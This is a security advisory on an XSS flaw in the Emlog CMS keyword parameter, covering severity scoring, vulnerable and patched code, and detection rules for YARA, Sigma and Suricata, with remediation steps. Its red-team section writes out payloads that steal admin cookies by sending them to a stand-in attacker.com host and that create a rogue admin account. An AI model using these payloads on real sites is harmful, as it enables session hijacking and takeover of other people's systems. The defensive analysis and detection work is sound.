CVE-2025-53923

Executive Summary

CVE-2025-53923 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in the Emlog open-source website building system, affecting all versions up to and including pro-2.5.17. The flaw resides in the keyword parameter, which lacks proper input sanitization. An attacker can craft a malicious link containing arbitrary HTML/JavaScript code. If an administrator clicks the link, the payload executes in the context of the admin's browser, potentially leading to session hijacking, credential theft, or full site compromise. The vulnerability is publicly known, with no patch available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for targeted attacks against Emlog installations.

Supply Chain & Package Security

Emlog is a PHP-based CMS distributed via GitHub and its official website. There is no official package manager (e.g., Composer) distribution for the vulnerable version. Users must manually update or patch the source code. The lack of a patched version means all current installations are at risk.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click link)
• Scope: Changed (impact on admin session)
• Confidentiality Impact: High (potential admin credential theft)
• Integrity Impact: Low (limited to script injection)
• Availability Impact: None

Threat Level: High. While user interaction is required, the target is an admin, making this a potent spear-phishing vector.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the keyword parameter, likely used in a search or filter functionality. The Emlog application does not sanitize or encode the input before rendering it in the HTML response. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When an admin clicks a crafted URL like:

https://target.com/admin/search.php?keyword=<script>alert('XSS')</script>

The script executes in the admin's browser. The impact is amplified because the admin session has elevated privileges, allowing the attacker to:

• Steal session cookies.
• Modify site content.
• Create new admin accounts.
• Execute arbitrary PHP code via file upload or plugin manipulation.

The vulnerability is stored if the keyword is saved in a database (e.g., search history), but the primary vector is reflected.

Vulnerable vs. Patched Code

Vulnerable Code (pro-2.5.17):

// In search.php or similar
$keyword = $_GET['keyword'];
echo "Search results for: " . $keyword;

Patched Code (hypothetical):

$keyword = htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $keyword;

The fix requires proper output encoding using htmlspecialchars() or a templating engine that auto-escapes. Since no official patch exists, users must manually apply this fix.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A vulnerable Emlog instance (pro-2.5.17 or earlier).
• A target admin user.

Exploit Steps:

1. Craft a malicious URL with XSS payload:

   http://target.com/admin/search.php?keyword=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to the admin via email, social engineering, or other means.
3. When the admin clicks, the payload executes, sending the session cookie to the attacker's server.
4. Use the stolen cookie to hijack the admin session.

Example Payload (cookie theft):

<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>

Example Payload (admin account creation):

<script>
fetch('/admin/user.php?action=add&username=hacker&password=123456&role=admin');
</script>

Blue Team (Defender)

Detection:

• Monitor web server logs for requests containing <script> tags in the keyword parameter.
• Use WAF rules to block XSS patterns in query strings.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for unusual keyword parameter values in access logs.
• Look for outbound connections from the admin panel to unknown IPs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with keyword parameter containing <script>, onerror, onload, or javascript:.
  • Outbound connections to attacker-controlled domains from the admin panel.
• File System:
  • Modified or new admin accounts in the database.
  • Suspicious files in the content/plugins or content/upload directories.
• Logs:
  • Access log entries with keyword=<script> or similar patterns.
  • Error logs showing unexpected script execution.

Detection Engineering

YARA Rule

rule CVE_2025_53923_XSS_Keyword {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-53923 in Emlog"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53923"
    strings:
        $xss1 = /keyword=.*<script/i
        $xss2 = /keyword=.*onerror/i
        $xss3 = /keyword=.*onload/i
        $xss4 = /keyword=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-53923 Emlog XSS via keyword Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts in Emlog admin search keyword parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/admin/search.php'
        c-uri|contains|all:
            - 'keyword='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53923 Emlog XSS Attempt"; flow:to_server,established; content:"/admin/search.php"; http_uri; content:"keyword="; http_uri; pcre:"/keyword=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Manual Patch: Edit the vulnerable file (likely admin/search.php) and add htmlspecialchars() to the keyword parameter output.
2. Web Application Firewall (WAF): Deploy rules to block XSS patterns in query strings.
3. Content Security Policy (CSP): Add script-src 'self' header to prevent inline script execution.
4. User Education: Train admins not to click suspicious links.

Long-Term:

• Monitor the Emlog repository for an official patch.
• Consider migrating to a more actively maintained CMS.
• Implement regular security audits and penetration testing.

Workaround:

• Disable the search functionality if not needed.
• Restrict admin panel access via IP whitelisting or VPN.

Valters IT